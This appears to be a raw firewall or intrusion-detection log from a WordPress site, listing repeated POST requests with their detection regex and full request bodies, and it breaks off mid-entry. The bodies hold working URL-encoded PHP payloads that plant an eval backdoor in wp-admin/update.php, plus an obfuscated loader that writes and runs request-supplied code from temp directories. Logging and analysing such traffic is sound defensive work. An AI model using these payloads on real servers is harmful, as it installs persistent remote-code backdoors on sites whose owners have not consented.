Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:2022\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\naK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:37","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2022\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nfs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:39","51.38.81.255","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Na:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2022\nsec-fetch-site:none\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nNa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:41","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:2045\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:44:43","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2022\nsec-fetch-site:none\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nIT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/update.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527pgEGUZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:46","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4204\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 